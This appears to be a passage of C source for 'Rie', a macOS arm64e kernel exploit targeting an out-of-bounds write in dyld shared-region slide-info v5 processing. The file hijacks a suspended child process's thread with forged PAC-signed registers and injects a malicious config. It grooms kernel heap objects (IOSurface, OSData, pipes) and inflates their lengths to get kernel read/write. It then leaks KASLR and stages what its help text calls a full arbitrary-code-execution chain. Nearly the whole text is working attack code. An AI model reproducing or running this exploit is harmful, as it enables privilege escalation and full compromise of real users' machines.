(vm_region_recurse_info_t)&info, &cnt) != KERN_SUCCESS)
break;
uint32_t hdr[4] = {0}; mach_vm_size_t got = 0;
if (mach_vm_read_overwrite(task, addr, sizeof(hdr),
(mach_vm_address_t)hdr, &got) == KERN_SUCCESS &&
got == sizeof(hdr) && hdr[0] == MH_MAGIC_64 && hdr[3] == MH_EXECUTE)
return addr;
addr += size;
}
return 0;
}
/* ── bridge: post-ex arb-R/W stage -> slide-OOB engine ───────────────────────
* kpwn_primitive.c calls this to arm ONE slide-OOB RMW writing `value` at byte
* offset `field_off` of the groomed victim page; the engine is the child #536
* first-map + sweep-fault (one shot per boot, fired by the child trigger). */
int slide_oob_write8(uint64_t value, unsigned field_off)
{
g_oob_value = value; g_oob_field_off = field_off; g_oob_armed = 1;
fprintf(stderr, "[oob] armed value=0x%llx off=0x%x (fired by the child trigger)\n",
(unsigned long long)value, field_off);
return 0;
}
/* Host post-exploitation driver: groom victim pipes, then (after the one-shot
* OOB corrupts the relative-R/W victim via the child trigger) leak KASLR and run
* the continuation pivot. The leak-derived gadget/victim/param kaddrs gate the
* pivot until they are populated on-device. */
static void run_postex(void) /* PRE-trigger: raise fds, spray victims, arm the OOB value */
{
if (g_iomd_mode) {
iomd_spray(); /* spray page-granular IOSurface victim buffers */
if (g_iomd_phys)
iomd_poke_holes(2); /* free alternate pages -> free-list holes (page-fengshui) */
return;
}
if (kpwn_primitive_setup() != 0)
fprintf(stderr, "[postex] pre-trigger setup incomplete\n");
}
/* POST-trigger (after the child #536+sweep fires the size-inflation OOB): select
* the groomed victim + leak, then -- if the read channel yielded kaddrs -- run the
* continuation-substitution pivot. Host-safe: no groom hit => finish returns -1. */
static void run_postex_pivot(void)
{
if (g_iomd_mode) {
iomd_full_chain(); /* over-map -> rel R/W -> KASLR leak -> (gated) pivot */
return;
}
if (kpwn_primitive_finish() != 0) {
fprintf(stderr, "[postex] no groomed victim this boot (relative WRITE unavailable)\n");
return;
}
if (g_self_thread_kaddr && g_victim_buf_kva)
kpwn_continuation_exec(/*donor*/0, /*target*/0, /*fake_param*/0);
else
fprintf(stderr, "[postex] relative WRITE up; continuation pivot pending leak-derived kaddrs\n");
}
static void run_first_mapper(const char *child_path, int trigger)
{
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
posix_spawnattr_setflags(&attr,
(short)(POSIX_SPAWN_START_SUSPENDED | _POSIX_SPAWN_RESLIDE)); /* 0x0880 */
char *args[] = { (char *)child_path, NULL };
pid_t pid = -1;
int rc = posix_spawn(&pid, child_path, NULL, &attr, args, environ);
posix_spawnattr_destroy(&attr);
if (rc != 0) { fprintf(stderr, "[fmp] posix_spawn(%s): %s (%d)\n", child_path, strerror(rc), rc); return; }
fprintf(stderr, "[fmp] child pid=%d (suspended, reslide)\n", pid);
task_t ct = TASK_NULL;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &ct);
if (kr != KERN_SUCCESS) { fprintf(stderr, "[fmp] task_for_pid: %s (0x%x)\n", mach_error_string(kr), kr); kill(pid, SIGKILL); return; }
thread_act_array_t threads = NULL; mach_msg_type_number_t n = 0;
kr = task_threads(ct, &threads, &n);
if (kr != KERN_SUCCESS || n < 1) { fprintf(stderr, "[fmp] task_threads: %s (0x%x) n=%u\n", mach_error_string(kr), kr, n); kill(pid, SIGKILL); return; }
thread_t th = threads[0];
mach_vm_address_t base = fmp_find_exec_base(ct);
if (!base) { fprintf(stderr, "[fmp] no exec base\n"); kill(pid, SIGKILL); return; }
uint64_t off = trigger ? CHILD_TRIGGER_OFF : CHILD_PROBE_OFF;
mach_vm_address_t entry = base + off;
fprintf(stderr, "[fmp] base=0x%llx entry=0x%llx (%s)\n",
(unsigned long long)base, (unsigned long long)entry,
trigger ? "trigger" : "probe");
/* Trigger path: parse the genuine cache + inject the malicious #536 config
* into the child. The cache parse MUST run before the groom spray (run_postex)
* so the parent's subcache open()s aren't starved of fds by the pipe spray. */
mach_vm_address_t cfg_addr = 0;
if (trigger) {
if (prepare_trigger_cfg(ct, &cfg_addr) != 0) {
fprintf(stderr, "[fmp] prepare_trigger_cfg failed\n"); kill(pid, SIGKILL); return;
}
#ifdef ORACLE_MODE
if (!g_oracle_mode)
#endif
run_postex(); /* groom victims now (fds free after cache parse), before #536 */
}
arm_thread_state64_t st;
mach_msg_type_number_t sc = ARM_THREAD_STATE64_COUNT;
kr = thread_get_state(th, ARM_THREAD_STATE64, (thread_state_t)&st, &sc);
if (kr != KERN_SUCCESS) { fprintf(stderr, "[fmp] thread_get_state: %s (0x%x)\n", mach_error_string(kr), kr); kill(pid, SIGKILL); return; }
/* Redirect the suspended main thread to `entry` with a fresh 16-aligned stack. */
#if defined(__arm64e__) || __has_feature(ptrauth_calls)
/* arm64e: the kernel AUTHENTICATES pc/sp/fp/lr we pass (status.c:1060-1089:
* key_asia+"pc"/"lr", key_asda+"sp"/"fp", child jop_pid). thread_set_state_from_user
* uses no diversifier/CHECK_USER_FLAGS (thread_act.c:792-800), so the discriminator
* is the plain string discriminator. We sign here with ptrauth_sign_unauthenticated;
* valid in the child because rie and the reslide child share the same arm64e shared
* cache => same jop_pid (machine_routines.c:2862). */
{
mach_vm_address_t cstack = 0;
kr = mach_vm_allocate(ct, &cstack, 0x40000, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr, "[fmp] child stack alloc: %s (0x%x)\n", mach_error_string(kr), kr); kill(pid, SIGKILL); return; }
uint64_t sp_raw = ((uint64_t)cstack + 0x30000) & ~0xFULL;
void *spc = ptrauth_sign_unauthenticated((void *)(uintptr_t)entry, ptrauth_key_asia, ptrauth_string_discriminator("pc"));
void *ssp = ptrauth_sign_unauthenticated((void *)(uintptr_t)sp_raw, ptrauth_key_asda, ptrauth_string_discriminator("sp"));
uint64_t zero = 0;
memcpy((void *)&st.__opaque_pc, &spc, 8);
memcpy((void *)&st.__opaque_sp, &ssp, 8);
memcpy((void *)&st.__opaque_fp, &zero, 8); /* fp=0: skip auth */
memcpy((void *)&st.__opaque_lr, &zero, 8); /* lr=0: skip auth; payload never returns */
st.__opaque_flags = 0; /* no NO_PTRAUTH, no KERNEL_SIGNED */
}
#else
st.__pc = (uint64_t)(uintptr_t)entry;
st.__sp &= ~0xFULL;
#endif
st.__x[0] = (uint64_t)cfg_addr; /* x0 = injected sr_cfg addr (0 for probe) */
kr = thread_set_state(th, ARM_THREAD_STATE64, (thread_state_t)&st, sc);
if (kr != KERN_SUCCESS) { fprintf(stderr, "[fmp] thread_set_state: %s (0x%x)\n", mach_error_string(kr), kr); kill(pid, SIGKILL); return; }
/* --pause: hold here (child suspended, cfg injected, thread redirected) BEFORE resuming it
* to run child_trigger (#536 + check_np + sweep-fault). Lets an lldb operator ENABLE a
* (software) breakpoint on vm_shared_region_slide_page only for the brief fault window, so the
* system-wide single-step crawl doesn't drag the whole run. Press Enter to resume + sweep. */
if (g_pause) {
fprintf(stderr, "[fmp] PAUSED before sweep. In lldb: enable the slide_page+0xbc bp now, "
"then press Enter here to resume the child (it will #536 + sweep-fault).\n");
fflush(stderr);
int c; while ((c = getchar()) != '\n' && c != EOF) { }
}
kr = task_resume(ct);
if (kr != KERN_SUCCESS) { fprintf(stderr, "[fmp] task_resume: %s (0x%x)\n", mach_error_string(kr), kr); kill(pid, SIGKILL); return; }
int status = 0;
if (waitpid(pid, &status, 0) < 0) { perror("[fmp] waitpid"); return; }
if (WIFEXITED(status)) {
int c = WEXITSTATUS(status);
/* In TRIGGER/chain mode exit=0 means child_trigger: #536 first-map SUCCEEDED
* + survived the sweep without a panic (the EXPECTED case for a silent OOB).
* Only in PROBE mode does exit=0 mean "region populated". */
const char *m = trigger
? (c==0 ?"#536 first-map OK + swept, no panic (OOB silent; check phys-scan below)":
c==12?"ENOMEM: BOUND-EMPTY (child_trigger never reached #536?)":
c==22?"EINVAL: no region": "errno from #536 / unexpected")
: (c==12?"ENOMEM: BOUND-EMPTY => viable FIRST-MAPPER":
c==0 ?"region populated": c==22?"EINVAL: no region":"unexpected");
fprintf(stderr, "[fmp] child exit=%d (%s)\n", c, m);
} else if (WIFSIGNALED(status)) {
fprintf(stderr, "[fmp] child signal=%d%s\n", WTERMSIG(status),
trigger ? " (if SIGSEGV/BUS at slide page => OOB likely fired; check for kernel panic)" : " (hijack issue)");
}
if (trigger) {
#ifdef ORACLE_MODE
if (g_oracle_mode) {
fprintf(stderr, "[oracle] post-trigger: scanning OSData objects for inflated length...\n");
int hit_idx = osdata_scan_inflated();
if (hit_idx >= 0) {
fprintf(stderr, "[oracle] HIT at surface index %d => OOB reached OSData object zone\n", hit_idx);
/* Read adjacent heap bytes (the over-read channel) */
uint8_t leak[256];
int got = osdata_relread(hit_idx, 8 /* past payload */, leak, sizeof(leak));
if (got > 0) {
fprintf(stderr, "[oracle] adjacent heap leak (%d bytes):\n", got);
for (int j = 0; j < got && j < 128; j++) {
fprintf(stderr, "%02x", leak[j]);
if ((j + 1) % 8 == 0) fprintf(stderr, " ");
if ((j + 1) % 32 == 0) fprintf(stderr, "\n");
}
if (got > 0 && (got < 128 ? got : 128) % 32 != 0) fprintf(stderr, "\n");
/* Scan for kernel pointers in the over-read */
uint64_t *qwords = (uint64_t *)leak;
int nq = got / 8;
for (int j = 0; j < nq; j++) {
uint64_t v = qwords[j];
if ((v >> 40) == 0xfffffe && (v & 0x3) == 0)
fprintf(stderr, "[oracle] possible kptr at +%d: 0x%016llx\n",
(int)(j * 8 + 8), (unsigned long long)v);
}
}
}
} else
#endif
run_postex_pivot(); /* post-#536: select groomed victim + pivot (host-safe if no groom) */
}
fflush(NULL);
}
static void
usage(const char *p)
{
fprintf(stderr,
"Rie -- dyld shared-region slide-info v5 kernel OOB (macOS arm64e)\n"
"usage: %s [options]\n"
" (no options) PROBE: spawn a suspended reslide child, check_np viability\n"
" -t, --trigger TRIGGER: #536 first-map + sweep-fault (panic-capture, forward OOB)\n"
" -w, --write-prim write-primitive mode (implies --trigger): value_add inflates a\n"
" victim pipe's size for the OOB->arb-RW bridge (data-only corruption)\n"
#ifdef ORACLE_MODE
" --oracle adjacency oracle (VM-only, implies --trigger): spray OSData objects\n"
" via IOSurface, fire all-page forward OOB with value_add=0xFF8, then\n"
" scan each OSData for inflated length (8 -> 0x1000) -> reports which\n"
" surface was hit + reads adjacent heap. -DORACLE_MODE. NEVER bare metal.\n"
#endif
" --chain FULL ACE CHAIN (implies --trigger; aliases --overmap2/--iomdmap):\n"
" self-contained TWO-WRITE OBJECT over-map -- runs automatically, no extra\n"
" flags. Sprays small-buffer IOSurfaces (NO pre-lock) so kalloc.type IOBMD\n"
" OBJECT pages dominate the groom; real #536 OOB inflates ONE IOBMD's\n"
" _length(+0x50) AND _singleRange.length(+0x80) (value_add=0xFC000, two\n"
" carrier pages); map+probe over-map -> rel kernel R/W -> KASLR leak ->\n"
" (gated) continuation pivot. AUTO model-sweep: pair j hits IOBMD object j\n"
" via delta_a=anchor+obj0+j*0xE8+0x50, delta_b=delta_a+0x30-gap (bridges the\n"
" dstA->dstB gap). Defaults gap=anchor=0x4000 obj0=0 sweep=8.\n"
" --vm-chain OVER-MAP on the vmapple VM (implies --trigger): dst lands in kalloc VIRTUAL\n"
" zone (not physmap) -> adjacency is heap-groomable + lldb-measurable. Same\n"
" two-write blob; use --groom-a/--groom-b from lldb (read x19, two faults).\n"
" --phys-scan STAGE-A adjacency measurement (single clean write, sentinel scan):\n"
" reports the in-page offset a fresh dst page hits in a sprayed buffer.\n"
" --sweep N --chain: object indices tested per boot (2 carrier pages each; walk-off\n"
" risk scales with N). --iomd-gap/--iomd-anchor/--iomd-obj0 tune the model.\n"
" --groom-a/-b N force a single MANUAL pair (both set) instead of the auto sweep.\n"
" --iomd-alloc N per-surface buffer alloc size (default 0x4000; page-rounded anyway).\n"
" --groom-off N offset from a page-in dst page to the victim field (--phys-scan/-w).\n"
" --child PATH first-mapper child binary (default ./child_e)\n"
" --selftest host-safe dyld-cache parse selftest (no spawn, no trigger)\n"
" -h, --help show this help\n"
"\n"
"notes:\n"
" * run TRIGGER as the FIRST reslide spawn after boot (the reslide region is one-shot).\n"
" * bare metal: forward OOB faults the physical aperture -> kernel panic with\n"
" x21 == _COMM_PAGE_ASB_TARGET_KERN_VALUE. VM: no aperture -- the OOB lands in kalloc\n"
" zone memory -> zone-poison panic or silent corruption (use --write-prim there).\n",
p);
}
int
main(int argc, char **argv)
{
setbuf(stdout, NULL);
rie_print_art();
const char *child = NULL;
int trig = 0, selftest = 0, write_prim = 0;
#ifdef ORACLE_MODE
int oracle = 0;
#endif
for (int i = 1; i < argc; i++) {
const char *a = argv[i];
if (!strcmp(a, "-h") || !strcmp(a, "--help")) { usage(argv[0]); return 0; }
else if (!strcmp(a, "-t") || !strcmp(a, "--trigger")) trig = 1;
else if (!strcmp(a, "--selftest")) selftest = 1;
else if (!strcmp(a, "-w") || !strcmp(a, "--write-prim")) { write_prim = 1; trig = 1; }
#ifdef ORACLE_MODE
else if (!strcmp(a, "--oracle")) { oracle = 1; trig = 1; }
#endif
/* --chain == the real ACE chain == two-write over-map. --overmap2/--iomdmap are aliases. */
else if (!strcmp(a, "--iomdmap") || !strcmp(a, "--chain") || !strcmp(a, "--overmap2"))
{ g_iomd_mode = 1; g_iomd_overmap2 = 1; trig = 1; }
/* --phys-scan == Stage-A adjacency measurement (single clean write, sentinel scan). */
else if (!strcmp(a, "--phys-scan")) { g_iomd_mode = 1; g_iomd_overmap2 = 0; trig = 1; }
/* --vm-chain == over-map on the vmapple VM: dst lands in kalloc VIRTUAL zone (not physmap),
* so adjacency is heap-groomable + lldb-measurable. Same two-write blob; virtual groom. */
else if (!strcmp(a, "--vm-chain")) { g_iomd_mode = 1; g_iomd_overmap2 = 1; g_iomd_phys = 0; trig = 1; }
/* --pause: hold before resuming the child to sweep, so an lldb operator can enable a
* software slide_page bp only for the brief fault window (avoids the system-wide crawl). */
else if (!strcmp(a, "--pause")) { g_pause = 1; }
else if (!strcmp(a, "--groom-a")) {
if (++i >= argc) { fprintf(stderr, "[rie] --groom-a needs an argument\n"); return 2; }
g_iomd_delta_a = (unsigned)strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--groom-b")) {
if (++i >= argc) { fprintf(stderr, "[rie] --groom-b needs an argument\n"); return 2; }
g_iomd_delta_b = (unsigned)strtoul(argv[i], NULL, 0);
}
else if (!strcmp(a, "--iomd-field")) {
if (++i >= argc) { fprintf(stderr, "[rie] --iomd-field needs an argument\n"); return 2; }
g_iomd_field = (unsigned)strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--iomd-value")) {
if (++i >= argc) { fprintf(stderr, "[rie] --iomd-value needs an argument\n"); return 2; }
g_iomd_value = strtoull(argv[i], NULL, 0);
} else if (!strcmp(a, "--iomd-alloc")) {
if (++i >= argc) { fprintf(stderr, "[rie] --iomd-alloc needs an argument\n"); return 2; }
g_iomd_alloc = (unsigned)strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--sweep")) {
if (++i >= argc) { fprintf(stderr, "[rie] --sweep needs an argument\n"); return 2; }
g_iomd_sweep = (unsigned)strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--iomd-gap")) {
if (++i >= argc) { fprintf(stderr, "[rie] --iomd-gap needs an argument\n"); return 2; }
g_iomd_gap = (unsigned)strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--iomd-anchor")) {
if (++i >= argc) { fprintf(stderr, "[rie] --iomd-anchor needs an argument\n"); return 2; }
g_iomd_anchor = (unsigned)strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--iomd-obj0")) {
if (++i >= argc) { fprintf(stderr, "[rie] --iomd-obj0 needs an argument\n"); return 2; }
g_iomd_obj0 = (unsigned)strtoul(argv[i], NULL, 0);
}
else if (!strcmp(a, "--groom-off")) {
if (++i >= argc) { fprintf(stderr, "[rie] --groom-off needs an argument\n"); return 2; }
g_groom_off = strtoul(argv[i], NULL, 0);
} else if (!strcmp(a, "--wval")) {
if (++i >= argc) { fprintf(stderr, "[rie] --wval needs an argument\n"); return 2; }
g_wval = strtoull(argv[i], NULL, 0); g_wval_set = 1;
} else if (!strcmp(a, "--child")) {
if (++i >= argc) { fprintf(stderr, "[rie] --child needs an argument\n"); return 2; }
child = argv[i];
} else {
fprintf(stderr, "[rie] unknown option: %s (try --help)\n", a); return 2;
}
}
if (selftest) { fmp_selftest(); return 0; }
#ifdef ORACLE_MODE
/* ORACLE mode (VM-only adjacency detection): spray sentinel-bearing pipes,
* arm the OOB with value_add=ORACLE_MARKER, fire #536 sweep, then scan every
* sprayed pipe's cnt/in/out/size for the transformed sentinel. A hit means
* the dst_page landed physically adjacent to a spray pipe's buffer and the
* OOB write reached it -- reports the g_groom_off + field offset.
* Compile: clang -DORACLE_MODE ... Run: ./rie --oracle
*
* The v5 RMW is: written = (read & 0x3FFFFFFFF) + value_add + high8(read).
* When the target qword is all-zero: written == value_add exactly.
* When the target has sentinel data (e.g. the pipe's cnt/in/out/size fields
* with known values): written = (sentinel & 0x3FFFFFFFF) + value_add.
* We scan for either pattern post-fault. */
if (oracle) {
g_oracle_mode = 1;
/* Spray OSData objects via IOSurface properties. Each surface holds an
* 8-byte OSData (payload_len=8). The OSData OBJECTS land in their
* kalloc.type zone; the OOB must hit the object to corrupt length@+0x10. */
int nsprayed = osdata_spray(4096, 8);
fprintf(stderr, "[oracle] sprayed %d IOSurface OSData objects\n", nsprayed);
/* value_add = 0xFF8: when the OOB RMW hits an OSData object's qword at
* +0x10 (length=8, capacity=0 -> qword = 0x00000000_00000008), the v5
* transform writes (8 & 0x3FFFFFFFF) + 0xFF8 = 0x1000 -> length = 0x1000.
* This is the REAL read-channel value_add (not a measurement marker). */
g_oob_value = 0x0000000000000FF8ULL;
g_oob_field_off = 0;
g_oob_armed = 1; /* gets our value_add into the blob */
fprintf(stderr, "[oracle] value_add=0x%llx (OSData length inflation, all-page sweep)\n",
(unsigned long long)g_oob_value);
}
#endif
/* IOMDMAP mode (over-map arb-write validation): single-field OOB corrupt of a
* groomed IOSurface IOBMD. The blob is built via the write-prim path
* (ps[TARGET_PAGE] = g_groom_off + g_oob_field_off, value_add = g_oob_value).
* Default: inflate _length(+0x50). _length currently == capacity (IOMD_ALLOC);
* written = (cap & 0x3FFFFFFFF) + value_add. See kpwn_iomdtest.c SINGLE-FIELD note. */
if (g_iomd_mode) {
if (g_iomd_overmap2) {
/* TWO-WRITE OVER-MAP: value_add=0xFC000 turns both _length(+0x50) and
* _singleRange.length(+0x80) (each == capacity, now small) into ~0x100000.
* blob arming poisons TWO carrier pages from g_iomd_delta_a/_b (--groom-a/-b). */
g_oob_value = 0xFC000ULL;
g_oob_field_off = 0;
g_oob_armed = 1;
/* NOTE 2026-06-12 (IOSurface::allocate RE): the buffer is round_page(allocSize) >= 0x4000
* ALWAYS -- a small --iomd-alloc does NOT shrink it, so it cannot force kalloc.type
* IOBMD-object pages to dominate the groom. Keep 0x4000 (proven buffer geometry). The
* real blocker is object-page adjacency (kalloc.type), unsolved by buffer size. */
if (!g_iomd_alloc) g_iomd_alloc = 0x4000;
/* Deltas come from the model-correct sweep in prepare_trigger_cfg (delta_b =
* delta_a + 0x30 - gap). Explicit --groom-a AND --groom-b force a single manual pair. */
fprintf(stderr, "[rie] OVERMAP2 mode: value_add=0x%llx alloc=0x%x %s sweep=%u gap=0x%x "
"anchor=0x%x obj0=0x%x (delta_b = delta_a + 0x30 - gap)\n",
(unsigned long long)g_oob_value, g_iomd_alloc,
(g_iomd_delta_a && g_iomd_delta_b) ? "MANUAL" : "AUTO-sweep",
g_iomd_sweep, g_iomd_gap, g_iomd_anchor, g_iomd_obj0);
} else if (g_iomd_phys) {
/* PHYS-ADJACENCY Stage A: marker value_add, all-page forward sweep, scan
* sprayed page-granular buffers post-run. Transformed sentinel =
* 0x4141414100000000 + (0xC0DE0000|slot) = 0x41414141_C0DE000k. */
g_oob_value = 0x4141414100000000ULL;
g_oob_field_off = 0;
g_oob_armed = 1;
fprintf(stderr, "[rie] PHYS-SCAN mode (Stage A): value_add=0x%llx sweep_delta=0x%x "
"(forward physical-aperture adjacency probe)\n",
(unsigned long long)g_oob_value,
(unsigned)((g_groom_off ? (unsigned)g_groom_off : g_iomd_delta) & 0xFFFE));
} else {
g_oob_value = g_iomd_value;
g_oob_field_off = g_iomd_field;
g_oob_armed = 1;
fprintf(stderr, "[rie] IOMDMAP mode: value_add=0x%llx field=+0x%x groom_off=0x%lx (inflate IOBMD field)\n",
(unsigned long long)g_oob_value, g_oob_field_off, (unsigned long)g_groom_off);
}
}
/* WRITE-PRIMITIVE mode (code-exec bring-up): arm g_oob_* BEFORE prepare_trigger_cfg so
* the blob is built in write-primitive mode (value_add inflates a victim pipe's size).
* Default (no -w) = panic-capture (forward OOB). */
if (write_prim) {
g_oob_value = g_wval_set ? g_wval : 0xFFFFFFFF00000000ULL; /* --wval override else pipe-size inflate */
g_oob_field_off = 0x08; /* PB_OUT_SIZE_OFF (out/size qword) */
g_oob_armed = 1;
fprintf(stderr, "[rie] WRITE-PRIM mode: value_add=0x%llx field=0x%x groom_off=0x%lx\n",
(unsigned long long)g_oob_value, g_oob_field_off, (unsigned long)g_groom_off);
}
fprintf(stderr, "[rie] dyld shared-region slide-info v5 kernel OOB -- %s (child=%s)\n",
trig ? "TRIGGER(#536+fault)" : "PROBE(check_np)", child ? child : "./child_e");
run_first_mapper(child ? child : "./child_e", trig);
return 0;
}